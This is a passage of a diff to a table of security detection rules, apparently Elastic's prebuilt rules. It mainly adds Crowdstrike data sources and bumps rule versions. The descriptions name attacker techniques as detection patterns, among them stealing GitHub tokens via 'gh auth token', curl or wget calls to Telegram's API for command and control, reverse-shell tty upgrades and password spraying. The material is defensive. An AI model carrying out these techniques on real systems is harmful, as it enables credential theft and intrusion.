users to interact with GitHub from the terminal. The "gh auth token" command is used to retrieve an authentication token for GitHub, which can be used to authenticate API requests and perform actions on behalf of the user. Adversaries may use this technique to access GitHub repositories and potentially exfiltrate sensitive information or perform malicious actions. This activity was observed in the wild as part of the Shai-Hulud worm. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Credential Access], [Tactic: Discovery], [Data Source: Elastic Defend], [Resources: Investigation Guide], [Data Source: Crowdstrike] |None |2 |<> |This rule detects when a member is granted the organization owner role of a GitHub organization. This role provides admin level privileges. Any new owner role should be investigated to determine its validity. Unauthorized owner roles could indicate compromise within your organization and provide unlimited access to data and settings. |[Domain: Cloud], [Use Case: Threat Detection], [Use Case: UEBA], [Tactic: Persistence], [Data Source: Github], [Resources: Investigation Guide] |None |209 @@ -1004,13 +1008,13 @@ and their rule type is `machine_learning`. |<> |Detects a high number of unique private repo clone events originating from a single personal access token within a short time period. |[Domain: Cloud], [Use Case: Threat Detection], [Use Case: UEBA], [Tactic: Execution], [Data Source: Github], [Resources: Investigation Guide] |None |207 -|<> |This rule detects a high number of egress network connections from an unusual executable on a Linux system. This could indicate a command and control (C2) communication attempt, a brute force attack via a malware infection, or other malicious activity. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Command and Control], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |6 +|<> |This rule detects a high number of egress network connections from an unusual executable on a Linux system. This could indicate a command and control (C2) communication attempt, a brute force attack via a malware infection, or other malicious activity. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Command and Control], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |8 -|<> |Detects when an Okta client address has a certain threshold of Okta user authentication events with multiple device token hashes generated for single user authentication. Adversaries may attempt to launch a credential stuffing or password spraying attack from the same device by using a list of known usernames and passwords to gain unauthorized access to user accounts. |[Use Case: Identity and Access Audit], [Data Source: Okta], [Tactic: Credential Access], [Resources: Investigation Guide] |None |207 +|<> |Detects when an Okta client address has a certain threshold of Okta user authentication events with multiple device token hashes generated for single user authentication. Adversaries may attempt to launch a credential stuffing or password spraying attack from the same device by using a list of known usernames and passwords to gain unauthorized access to user accounts. |[Use Case: Identity and Access Audit], [Data Source: Okta], [Tactic: Credential Access], [Resources: Investigation Guide] |None |209 |<> |Identifies a high number of Okta user password reset or account unlock attempts. An adversary may attempt to obtain unauthorized access to Okta user accounts using these methods and attempt to blend in with normal activity in their target's environment and evade detection. |[Use Case: Identity and Access Audit], [Data Source: Okta], [Tactic: Defense Evasion], [Resources: Investigation Guide] |None |415 -|<> |This rule identifies a high number (10) of process terminations via pkill from the same host within a short time period. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Impact], [Resources: Investigation Guide], [Data Source: Elastic Endgame], [Data Source: Elastic Defend], [Data Source: Auditd Manager] |None |114 +|<> |This rule identifies a high number (10) of process terminations via pkill from the same host within a short time period. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Impact], [Resources: Investigation Guide], [Data Source: Elastic Endgame], [Data Source: Elastic Defend], [Data Source: Auditd Manager], [Data Source: Crowdstrike] |None |115 |<> |This rule identifies a high number (10) of process terminations (stop, delete, or suspend) from the same host within a short time period. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Impact], [Resources: Investigation Guide], [Data Source: Elastic Endgame], [Data Source: Elastic Defend], [Data Source: Sysmon], [Data Source: Windows Security Event Logs] |None |216 @@ -1028,7 +1032,7 @@ and their rule type is `machine_learning`. |<> |This rule detects events that could be describing IPSEC NAT Traversal traffic. IPSEC is a VPN technology that allows one system to talk to another using encrypted tunnels. NAT Traversal enables these tunnels to communicate over the Internet where one of the sides is behind a NAT router gateway. This may be common on your network, but this technique is also used by threat actors to avoid detection. |[Tactic: Command and Control], [Domain: Endpoint], [Use Case: Threat Detection], [Data Source: PAN-OS], [Resources: Investigation Guide] |None |108 -|<> |This rule monitors for the execution of commands that enable IPv4 and IPv6 forwarding on Linux systems. Enabling IP forwarding can be used to route network traffic between different network interfaces, potentially allowing attackers to pivot between networks, exfiltrate data, or establish command and control channels. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Command and Control], [Data Source: Elastic Defend], [Data Source: SentinelOne], [Data Source: Elastic Endgame], [Resources: Investigation Guide] |None |105 +|<> |This rule monitors for the execution of commands that enable IPv4 and IPv6 forwarding on Linux systems. Enabling IP forwarding can be used to route network traffic between different network interfaces, potentially allowing attackers to pivot between networks, exfiltrate data, or establish command and control channels. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Command and Control], [Data Source: Elastic Defend], [Data Source: SentinelOne], [Data Source: Elastic Endgame], [Resources: Investigation Guide], [Data Source: Crowdstrike] |None |106 |<> |The Debugger and SilentProcessExit registry keys can allow an adversary to intercept the execution of files, causing a different process to be executed. This functionality can be abused by an adversary to establish persistence. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Persistence], [Tactic: Defense Evasion], [Data Source: Elastic Endgame], [Data Source: Elastic Defend], [Data Source: Sysmon], [Data Source: Microsoft Defender for Endpoint], [Data Source: SentinelOne], [Data Source: Crowdstrike], [Resources: Investigation Guide] |None |313 @@ -1068,7 +1072,7 @@ and their rule type is `machine_learning`. |<> |Identifies interactive logon attempt with alternate credentials and by an unusual process. Adversaries may create a new token to escalate privileges and bypass access controls. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Privilege Escalation], [Data Source: Windows Security Event Logs], [Resources: Investigation Guide] |None |108 -|<> |Identifies when a terminal (tty) is spawned via Perl. Attackers may upgrade a simple reverse shell to a fully interactive tty after obtaining initial access to a host. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Execution], [Data Source: Elastic Endgame], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |111 +|<> |Identifies when a terminal (tty) is spawned via Perl. Attackers may upgrade a simple reverse shell to a fully interactive tty after obtaining initial access to a host. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Execution], [Data Source: Elastic Endgame], [Data Source: Elastic Defend], [Resources: Investigation Guide], [Data Source: Crowdstrike] |None |112 |<> |Identifies when a terminal (tty) is spawned via Python. Attackers may upgrade a simple reverse shell to a fully interactive tty after obtaining initial access to a host. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Execution], [Data Source: Elastic Endgame], [Data Source: Elastic Defend], [Data Source: SentinelOne], [Resources: Investigation Guide] |None |214 @@ -1110,13 +1114,13 @@ and their rule type is `machine_learning`. |<> |This rule detects the execution of the "kubectl apply" command with a URL argument. This command is often used to apply configurations or deploy resources in a Kubernetes cluster. Attackers may use this command to deploy malicious pods or modify existing ones, potentially leading to unauthorized access or data exfiltration. |[Domain: Endpoint], [Domain: Container], [OS: Linux], [Use Case: Threat Detection], [Tactic: Execution], [Data Source: Elastic Endgame], [Data Source: Elastic Defend], [Data Source: Crowdstrike], [Data Source: SentinelOne], [Resources: Investigation Guide] |None |1 -|<> |This rule detects the execution of kubectl commands that are commonly used for configuration discovery in Kubernetes environments. It looks for process events where kubectl is executed with arguments that query configuration information, such as configmaps. In environments where kubectl is not expected to be used, this could indicate potential reconnaissance activity by an adversary. |[Domain: Container], [Domain: Endpoint], [Domain: Kubernetes], [OS: Linux], [Use Case: Threat Detection], [Tactic: Discovery], [Rule Type: BBR], [Data Source: Elastic Defend], [Data Source: Elastic Endgame], [Data Source: Auditd Manager] |None |1 +|<> |This rule detects the execution of kubectl commands that are commonly used for configuration discovery in Kubernetes environments. It looks for process events where kubectl is executed with arguments that query configuration information, such as configmaps. In environments where kubectl is not expected to be used, this could indicate potential reconnaissance activity by an adversary. |[Domain: Container], [Domain: Endpoint], [Domain: Kubernetes], [OS: Linux], [Use Case: Threat Detection], [Tactic: Discovery], [Rule Type: BBR], [Data Source: Elastic Defend], [Data Source: Elastic Endgame], [Data Source: Auditd Manager], [Data Source: Crowdstrike] |None |2 |<> |This rule detects potential kubectl network configuration modification activity by monitoring for process events where the kubectl command is executed with arguments that suggest an attempt to modify network configurations in Kubernetes. This could indicate an adversary trying to manipulate network settings for malicious purposes, such as establishing unauthorized access or exfiltrating data. |[Domain: Endpoint], [Domain: Container], [Domain: Kubernetes], [OS: Linux], [Use Case: Threat Detection], [Tactic: Command and Control], [Data Source: Elastic Defend], [Data Source: Elastic Endgame], [Data Source: Crowdstrike], [Data Source: SentinelOne], [Resources: Investigation Guide] |None |1 -|<> |This rule detects the use of the "kubectl auth --can-i" command, which is used to check permissions in Kubernetes clusters. Attackers may use this command to enumerate permissions and discover potential misconfigurations in the cluster, allowing them to gain unauthorized access or escalate privileges. |[Domain: Endpoint], [Domain: Container], [Domain: Kubernetes], [OS: Linux], [Use Case: Threat Detection], [Tactic: Discovery], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |2 +|<> |This rule detects the use of the "kubectl auth --can-i" command, which is used to check permissions in Kubernetes clusters. Attackers may use this command to enumerate permissions and discover potential misconfigurations in the cluster, allowing them to gain unauthorized access or escalate privileges. |[Domain: Endpoint], [Domain: Container], [Domain: Kubernetes], [OS: Linux], [Use Case: Threat Detection], [Tactic: Discovery], [Data Source: Elastic Defend], [Resources: Investigation Guide], [Data Source: Crowdstrike] |None |3 -|<> |This rule detects the execution of kubectl commands that are commonly used for workload and cluster discovery in Kubernetes environments. It looks for process events where kubectl is executed with arguments that query cluster information, such as namespaces, nodes, pods, deployments, and other resources. In environments where kubectl is not expected to be used, this could indicate potential reconnaissance activity by an adversary. |[Domain: Container], [Domain: Endpoint], [Domain: Kubernetes], [OS: Linux], [Use Case: Threat Detection], [Tactic: Discovery], [Rule Type: BBR], [Data Source: Elastic Defend], [Data Source: Elastic Endgame], [Data Source: Auditd Manager] |None |1 +|<> |This rule detects the execution of kubectl commands that are commonly used for workload and cluster discovery in Kubernetes environments. It looks for process events where kubectl is executed with arguments that query cluster information, such as namespaces, nodes, pods, deployments, and other resources. In environments where kubectl is not expected to be used, this could indicate potential reconnaissance activity by an adversary. |[Domain: Container], [Domain: Endpoint], [Domain: Kubernetes], [OS: Linux], [Use Case: Threat Detection], [Tactic: Discovery], [Rule Type: BBR], [Data Source: Elastic Defend], [Data Source: Elastic Endgame], [Data Source: Auditd Manager], [Data Source: Crowdstrike] |None |2 |<> |This rule detects when an unauthenticated user request is authorized within the cluster. Attackers may attempt to use anonymous accounts to gain initial access to the cluster or to avoid attribution of their activities within the cluster. This rule excludes the /healthz, /livez and /readyz endpoints which are commonly accessed anonymously. |[Data Source: Kubernetes], [Tactic: Execution], [Tactic: Initial Access], [Tactic: Defense Evasion], [Resources: Investigation Guide] |None |10 @@ -1174,11 +1178,11 @@ and their rule type is `machine_learning`. |<> |This rule monitors for X11 forwarding via SSH. X11 forwarding is a feature that allows users to run graphical applications on a remote server and display the application's graphical user interface on their local machine. Attackers can abuse X11 forwarding for tunneling their GUI-based tools, pivot through compromised systems, and create covert communication channels, enabling lateral movement and facilitating remote control of systems within a network. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Command and Control], [Data Source: Elastic Defend], [Data Source: Elastic Endgame], [Data Source: Crowdstrike], [Data Source: SentinelOne], [Resources: Investigation Guide] |None |108 -|<> |Enrich process events with uname and other command lines that imply Linux system information discovery. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Discovery], [Rule Type: BBR], [Data Source: Elastic Defend], [Data Source: Elastic Endgame], [Data Source: Auditd Manager] |None |5 +|<> |Enrich process events with uname and other command lines that imply Linux system information discovery. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Discovery], [Rule Type: BBR], [Data Source: Elastic Defend], [Data Source: Elastic Endgame], [Data Source: Auditd Manager], [Data Source: Crowdstrike] |None |6 -|<> |This rule identifies Linux system information discovery via the `getconf` command. The `getconf` command is used to query system configuration variables and system limits. Adversaries may use this command to gather information about the system, such as the page size, maximum number of open files, and other system limits, to aid in further exploration and exploitation of the system. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Discovery], [Rule Type: BBR], [Data Source: Elastic Defend], [Data Source: Elastic Endgame], [Data Source: Auditd Manager] |None |3 +|<> |This rule identifies Linux system information discovery via the `getconf` command. The `getconf` command is used to query system configuration variables and system limits. Adversaries may use this command to gather information about the system, such as the page size, maximum number of open files, and other system limits, to aid in further exploration and exploitation of the system. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Discovery], [Rule Type: BBR], [Data Source: Elastic Defend], [Data Source: Elastic Endgame], [Data Source: Auditd Manager], [Data Source: Crowdstrike] |None |4 -|<> |This rule detects when a process executes the curl or wget command with an argument that includes the api.telegram.org domain. This may indicate command and control behavior. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Command and Control], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |2 +|<> |This rule detects when a process executes the curl or wget command with an argument that includes the api.telegram.org domain. This may indicate command and control behavior. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Command and Control], [Data Source: Elastic Defend], [Resources: Investigation Guide], [Data Source: Crowdstrike] |None |3 |<> |Identifies attempts to create new users. Attackers may add new users to establish persistence on a system. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Persistence], [Resources: Investigation Guide] |None |9 @@ -1196,11 +1200,11 @@ and their rule type is `machine_learning`. |<> |This rule identifies successful logins by system users that are uncommon to authenticate. These users have `nologin` set by default, and must be modified to allow SSH access. Adversaries may backdoor these users to gain unauthorized access to the system. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Persistence], [Tactic: Defense Evasion], [Data Source: System], [Resources: Investigation Guide] |None |4 -|<> |Identifies when an excessive number of files are downloaded from OneDrive using OAuth authentication. Adversaries may conduct phishing campaigns to steal OAuth tokens and impersonate users. These access tokens can then be used to download files from OneDrive. |[Domain: Cloud], [Domain: SaaS], [Data Source: Microsoft 365], [Data Source: SharePoint], [Data Source: OneDrive], [Use Case: Threat Detection], [Tactic: Collection], [Tactic: Exfiltration], [Resources: Investigation Guide] |None |4 +|<> |Detects successful Microsoft 365 portal logins from rare locations. Rare locations are defined as locations that are not commonly associated with the user's account. This behavior may indicate an adversary attempting to access a Microsoft 365 account from an unusual location or behind a VPN. |[Domain: Cloud], [Domain: Identity], [Data Source: Microsoft 365], [Data Source: Microsoft 365 Audit Logs], [Use Case: Threat Detection], [Use Case: Identity and Access Audit], [Tactic: Initial Access], [Resources: Investigation Guide] |None |8 -|<> |Detects successful Microsoft 365 portal logins from rare locations. Rare locations are defined as locations that are not commonly associated with the user's account. This behavior may indicate an adversary attempting to access a Microsoft 365 account from an unusual location or behind a VPN. |[Domain: Cloud], [Domain: SaaS], [Data Source: Microsoft 365], [Data Source: Microsoft 365 Audit Logs], [Use Case: Threat Detection], [Use Case: Identity and Access Audit], [Tactic: Initial Access], [Resources: Investigation Guide] |None |7 +|<> |Detects successful Microsoft 365 portal logins from impossible travel locations. Impossible travel locations are defined as two different countries within a short time frame. This behavior may indicate an adversary attempting to access a Microsoft 365 account from a compromised account or a malicious actor attempting to access a Microsoft 365 account from a different location. |[Domain: Cloud], [Domain: Identity], [Data Source: Microsoft 365], [Data Source: Microsoft 365 Audit Logs], [Use Case: Threat Detection], [Use Case: Identity and Access Audit], [Tactic: Initial Access], [Resources: Investigation Guide] |None |8 -|<> |Detects successful Microsoft 365 portal logins from impossible travel locations. Impossible travel locations are defined as two different countries within a short time frame. This behavior may indicate an adversary attempting to access a Microsoft 365 account from a compromised account or a malicious actor attempting to access a Microsoft 365 account from a different location. |[Domain: Cloud], [Domain: SaaS], [Data Source: Microsoft 365], [Data Source: Microsoft 365 Audit Logs], [Use Case: Threat Detection], [Use Case: Identity and Access Audit], [Tactic: Initial Access], [Resources: Investigation Guide] |None |7 +|<> |Identifies when an excessive number of files are downloaded from OneDrive using OAuth authentication. Adversaries may conduct phishing campaigns to steal OAuth tokens and impersonate users. These access tokens can then be used to download files from OneDrive. |[Domain: Cloud], [Domain: SaaS], [Data Source: Microsoft 365], [Data Source: SharePoint], [Data Source: OneDrive], [Use Case: Threat Detection], [Tactic: Collection], [Tactic: Exfiltration], [Resources: Investigation Guide] |None |6 |<> |Identifies a Microsoft 365 audit log generated for Threat Intelligence signals by Microsoft Defender for Office 365. Signals generated may relate to services such as Exchange Online, SharePoint Online, OneDrive for Business and others. |[Domain: Cloud], [Domain: SaaS], [Data Source: Microsoft 365], [Data Source: Microsoft 365 Audit Logs], [Data Source: Microsoft Defender], [Data Source: Microsoft Defender Threat Intelligence], [Use Case: Threat Detection], [Tactic: Initial Access], [Resources: Investigation Guide] |None |1 @@ -1240,7 +1244,7 @@ and their rule type is `machine_learning`. |<> |Identifies the creation of a memory dump file with an unusual extension, which can indicate an attempt to disguise a memory dump as another file type to bypass security defenses. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Credential Access], [Tactic: Defense Evasion], [Data Source: Elastic Defend], [Rule Type: BBR] |None |4 -|<> |This rule detects memory swap modification events on Linux systems. Memory swap modification can be used to manipulate the system's memory and potentially impact the system's performance. This behavior is commonly observed in malware that deploys miner software such as XMRig. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Impact], [Tactic: Execution], [Data Source: Elastic Defend], [Data Source: SentinelOne], [Data Source: Elastic Endgame], [Resources: Investigation Guide] |None |105 +|<> |This rule detects memory swap modification events on Linux systems. Memory swap modification can be used to manipulate the system's memory and potentially impact the system's performance. This behavior is commonly observed in malware that deploys miner software such as XMRig. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Impact], [Tactic: Execution], [Data Source: Elastic Defend], [Data Source: SentinelOne], [Data Source: Elastic Endgame], [Resources: Investigation Guide], [Data Source: Crowdstrike] |None |106 |<> |Generates a detection alert each time an Elastic Defend alert for memory signatures are received. Enabling this rule allows you to immediately begin investigating your Endpoint memory signature alerts. This rule identifies Elastic Defend memory signature detections only, and does not include prevention alerts. |[Data Source: Elastic Defend], [Tactic: Defense Evasion], [Resources: Investigation Guide] |None |5 @@ -1248,7 +1252,7 @@ and their rule type is `machine_learning`. |<> |This rule detects the creation of potentially malicious files within the default MOTD file directories. Message of the day (MOTD) is the message that is presented to the user when a user connects to a Linux server via SSH or a serial connection. Linux systems contain several default MOTD files located in the "/etc/update-motd.d/" directory. These scripts run as the root user every time a user connects over SSH or a serial connection. Adversaries may create malicious MOTD files that grant them persistence onto the target every time a user connects to the system by executing a backdoor script or command. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Persistence], [Resources: Investigation Guide], [Data Source: Elastic Defend] |None |15 -|<> |Identifies potential brute-force attacks targeting Microsoft 365 user accounts by analyzing failed sign-in patterns in Microsoft Entra ID Sign-In Logs. This detection focuses on a high volume of failed interactive or non-interactive authentication attempts within a short time window, often indicative of password spraying, credential stuffing, or password guessing. Adversaries may use these techniques to gain unauthorized access to Microsoft 365 services such as Exchange Online, SharePoint, or Teams. |[Domain: Cloud], [Domain: SaaS], [Domain: Identity], [Data Source: Azure], [Data Source: Entra ID], [Data Source: Entra ID Sign-in Logs], [Use Case: Identity and Access Audit], [Use Case: Threat Detection], [Tactic: Credential Access], [Resources: Investigation Guide] |None |107 +|<> |Identifies potential brute-force attacks targeting Microsoft 365 user accounts by analyzing failed sign-in patterns in Microsoft Entra ID Sign-In Logs. This detection focuses on a high volume of failed interactive or non-interactive authentication attempts within a short time window, often indicative of password spraying, credential stuffing, or password guessing. Adversaries may use these techniques to gain unauthorized access to Microsoft 365 services such as Exchange Online, SharePoint, or Teams. |[Domain: Cloud], [Domain: SaaS], [Domain: Identity], [Data Source: Azure], [Data Source: Entra ID], [Data Source: Entra ID Sign-in Logs], [Use Case: Identity and Access Audit], [Use Case: Threat Detection], [Tactic: Credential Access], [Resources: Investigation Guide] |None |109 |<> |Identifies the deletion of an anti-phishing policy in Microsoft 365. By default, Microsoft 365 includes built-in features that help protect users from phishing attacks. Anti-phishing polices increase this protection by refining settings to better detect and prevent attacks. |[Domain: Cloud], [Data Source: Microsoft 365], [Use Case: Configuration Audit], [Tactic: Defense Evasion], [Resources: Investigation Guide] |None |210 @@ -1296,7 +1300,7 @@ and their rule type is `machine_learning`. |<> |Identifies when a user has been restricted from sending email due to exceeding sending limits of the service policies per the Security Compliance Center. |[Domain: Cloud], [Data Source: Microsoft 365], [Use Case: Configuration Audit], [Tactic: Impact], [Resources: Investigation Guide] |None |210 -|<> |This rule correlate Azure or Office 356 mail successful sign-in events with network security alerts by source.ip. Adversaries may trigger some network security alerts such as reputation or other anomalies before accessing cloud resources. |[Domain: Cloud], [Domain: SaaS], [Data Source: Azure], [Data Source: Entra ID], [Data Source: Entra ID Sign-in Logs], [Data Source: Microsoft 365], [Data Source: Microsoft 365 Audit Logs], [Use Case: Identity and Access Audit], [Use Case: Threat Detection], [Tactic: Initial Access], [Resources: Investigation Guide], [Rule Type: Higher-Order Rule] |None |3 +|<> |This rule correlate Azure or Office 356 mail successful sign-in events with network security alerts by source.ip. Adversaries may trigger some network security alerts such as reputation or other anomalies before accessing cloud resources. |[Domain: Cloud], [Domain: SaaS], [Data Source: Azure], [Data Source: Entra ID], [Data Source: Entra ID Sign-in Logs], [Data Source: Microsoft 365], [Data Source: Microsoft 365 Audit Logs], [Use Case: Identity and Access Audit], [Use Case: Threat Detection], [Tactic: Initial Access], [Resources: Investigation Guide], [Rule Type: Higher-Order Rule] |None |5 |<> |An instance of MSBuild, the Microsoft Build Engine, started a PowerShell script or the Visual C# Command Line Compiler. This technique is sometimes used to deploy a malicious payload using the Build Engine. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Tactic: Execution], [Data Source: Elastic Defend], [Data Source: Sysmon], [Data Source: Windows Security Event Logs], [Resources: Investigation Guide] |None |318 @@ -1308,19 +1312,19 @@ and their rule type is `machine_learning`. |<> |An instance of MSBuild, the Microsoft Build Engine, was started after being renamed. This is uncommon behavior and may indicate an attempt to run unnoticed or undetected. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Tactic: Execution], [Data Source: Elastic Endgame], [Resources: Investigation Guide], [Data Source: Elastic Defend], [Data Source: Sysmon], [Data Source: Microsoft Defender for Endpoint], [Data Source: Crowdstrike] |None |218 -|<> |Identifies concurrent azure signin events for the same user and from multiple sources, and where one of the authentication event has some suspicious properties often associated to DeviceCode and OAuth phishing. Adversaries may steal Refresh Tokens (RTs) via phishing to bypass multi-factor authentication (MFA) and gain unauthorized access to Azure resources. |[Domain: Cloud], [Domain: SaaS], [Data Source: Azure], [Data Source: Entra ID], [Data Source: Entra ID Sign-in], [Use Case: Identity and Access Audit], [Use Case: Threat Detection], [Tactic: Credential Access], [Resources: Investigation Guide] |None |3 +|<> |Identifies concurrent azure signin events for the same user and from multiple sources, and where one of the authentication event has some suspicious properties often associated to DeviceCode and OAuth phishing. Adversaries may steal Refresh Tokens (RTs) via phishing to bypass multi-factor authentication (MFA) and gain unauthorized access to Azure resources. |[Domain: Cloud], [Domain: SaaS], [Data Source: Azure], [Data Source: Entra ID], [Data Source: Entra ID Sign-in], [Use Case: Identity and Access Audit], [Use Case: Threat Detection], [Tactic: Credential Access], [Resources: Investigation Guide] |None |5 |<> |Identifies a modification to a conditional access policy (CAP) in Microsoft Entra ID. Adversaries may modify existing CAPs to loosen access controls and maintain persistence in the environment with a compromised identity or entity. |[Domain: Cloud], [Data Source: Azure], [Data Source: Microsoft Entra ID], [Data Source: Microsoft Entra ID Audit Logs], [Use Case: Identity and Access Audit], [Use Case: Configuration Audit], [Tactic: Persistence], [Resources: Investigation Guide] |None |107 |<> |Identifies when a user has elevated their access to User Access Administrator for their Azure Resources. The User Access Administrator role allows users to manage user access to Azure resources, including the ability to assign roles and permissions. Adversaries may target an Entra ID Global Administrator or other privileged role to elevate their access to User Access Administrator, which can lead to further privilege escalation and unauthorized access to sensitive resources. This is a New Terms rule that only signals if the user principal name has not been seen doing this activity in the last 14 days. |[Domain: Cloud], [Domain: Identity], [Data Source: Azure], [Data Source: Microsoft Entra ID], [Data Source: Microsoft Entra ID Audit Logs], [Use Case: Identity and Access Audit], [Tactic: Privilege Escalation], [Resources: Investigation Guide] |None |2 -|<> |Identifies a high count of failed Microsoft Entra ID sign-in attempts as the result of the target user account being locked out. Adversaries may attempt to brute-force user accounts by repeatedly trying to authenticate with incorrect credentials, leading to account lockouts by Entra ID Smart Lockout policies. |[Domain: Cloud], [Domain: Identity], [Data Source: Azure], [Data Source: Entra ID], [Data Source: Entra ID Sign-in Logs], [Use Case: Identity and Access Audit], [Use Case: Threat Detection], [Tactic: Credential Access], [Resources: Investigation Guide] |None |3 +|<> |Identifies a high count of failed Microsoft Entra ID sign-in attempts as the result of the target user account being locked out. Adversaries may attempt to brute-force user accounts by repeatedly trying to authenticate with incorrect credentials, leading to account lockouts by Entra ID Smart Lockout policies. |[Domain: Cloud], [Domain: Identity], [Data Source: Azure], [Data Source: Entra ID], [Data Source: Entra ID Sign-in Logs], [Use Case: Identity and Access Audit], [Use Case: Threat Detection], [Tactic: Credential Access], [Resources: Investigation Guide] |None |5 |<> |Identifies high risk Microsoft Entra ID sign-ins by leveraging Microsoft's Identity Protection machine learning and heuristics. Identity Protection categorizes risk into three tiers: low, medium, and high. While Microsoft does not provide specific details about how risk is calculated, each level brings higher confidence that the user or sign-in is compromised. |[Domain: Cloud], [Data Source: Azure], [Data Source: Microsoft Entra ID], [Data Source: Microsoft Entra ID Sign-in Logs], [Use Case: Identity and Access Audit], [Resources: Investigation Guide], [Tactic: Initial Access] |None |109 |<> |Identifies an illicit consent grant request on-behalf-of a registered Entra ID application. Adversaries may create and register an application in Microsoft Entra ID for the purpose of requesting user consent to access resources. This is accomplished by tricking a user into granting consent to the application, typically via a pre-made phishing URL. This establishes an OAuth grant that allows the malicious client applocation to access resources on-behalf-of the user. |[Domain: Cloud], [Data Source: Azure], [Data Source: Microsoft Entra ID], [Data Source: Microsoft Entra ID Audit Logs], [Use Case: Identity and Access Audit], [Resources: Investigation Guide], [Tactic: Initial Access], [Tactic: Credential Access] |None |218 -|<> |Identifies brute force attempts against Azure Entra multi-factor authentication (MFA) Time-based One-Time Password (TOTP) verification codes. This rule detects high frequency failed TOTP code attempts for a single user in a short time-span with a high number of distinct session IDs. Adversaries may programmatically attemopt to brute-force TOTP codes by generating several sessions and attempt to guess the correct code. |[Domain: Cloud], [Domain: Identity], [Data Source: Azure], [Data Source: Entra ID], [Data Source: Entra ID Sign-in logs], [Use Case: Identity and Access Audit], [Use Case: Threat Detection], [Tactic: Credential Access], [Resources: Investigation Guide] |None |5 +|<> |Identifies brute force attempts against Azure Entra multi-factor authentication (MFA) Time-based One-Time Password (TOTP) verification codes. This rule detects high frequency failed TOTP code attempts for a single user in a short time-span with a high number of distinct session IDs. Adversaries may programmatically attemopt to brute-force TOTP codes by generating several sessions and attempt to guess the correct code. |[Domain: Cloud], [Domain: Identity], [Data Source: Azure], [Data Source: Entra ID], [Data Source: Entra ID Sign-in logs], [Use Case: Identity and Access Audit], [Use Case: Threat Detection], [Tactic: Credential Access], [Resources: Investigation Guide] |None |7 |<> |Detects potentially suspicious OAuth authorization activity in Microsoft Entra ID where the Visual Studio Code first-party application (client_id = aebc6443-996d-45c2-90f0-388ff96faa56) is used to request access to Microsoft Graph resources. While this client ID is legitimately used by Visual Studio Code, threat actors have been observed abusing it in phishing campaigns to make OAuth requests appear trustworthy. These attacks rely on redirect URIs such as VSCode's Insiders redirect location, prompting victims to return an OAuth authorization code that can be exchanged for access tokens. This rule may help identify unauthorized use of the VS Code OAuth flow as part of social engineering or credential phishing activity. |[Domain: Cloud], [Data Source: Azure], [Data Source: Microsoft Entra ID], [Data Source: Microsoft Entra ID Sign-in Logs], [Use Case: Identity and Access Audit], [Resources: Investigation Guide], [Tactic: Initial Access] |None |4 @@ -1336,11 +1340,11 @@ and their rule type is `machine_learning`. |<> |This rule detects non-interactive authentication activity against SharePoint Online (`Office 365 SharePoint Online`) by a user principal via the `Microsoft Authentication Broker` application. The session leverages a refresh token or Primary Refresh Token (PRT) without interactive sign-in, often used in OAuth phishing or token replay scenarios. |[Domain: Cloud], [Use Case: Identity and Access Audit], [Tactic: Collection], [Data Source: Azure], [Data Source: Microsoft Entra ID], [Data Source: Microsoft Entra ID Sign-in Logs], [Resources: Investigation Guide] |None |2 -|<> |Identifies potential brute-force attacks targeting user accounts by analyzing failed sign-in patterns in Microsoft Entra ID Sign-In Logs. This detection focuses on a high volume of failed interactive or non-interactive authentication attempts within a short time window, often indicative of password spraying, credential stuffing, or password guessing. Adversaries may use these techniques to gain unauthorized access to applications integrated with Entra ID or to compromise valid user accounts. |[Domain: Cloud], [Domain: Identity], [Data Source: Azure], [Data Source: Entra ID], [Data Source: Entra ID Sign-in Logs], [Use Case: Identity and Access Audit], [Use Case: Threat Detection], [Tactic: Credential Access], [Resources: Investigation Guide] |None |5 +|<> |Identifies potential brute-force attacks targeting user accounts by analyzing failed sign-in patterns in Microsoft Entra ID Sign-In Logs. This detection focuses on a high volume of failed interactive or non-interactive authentication attempts within a short time window, often indicative of password spraying, credential stuffing, or password guessing. Adversaries may use these techniques to gain unauthorized access to applications integrated with Entra ID or to compromise valid user accounts. |[Domain: Cloud], [Domain: 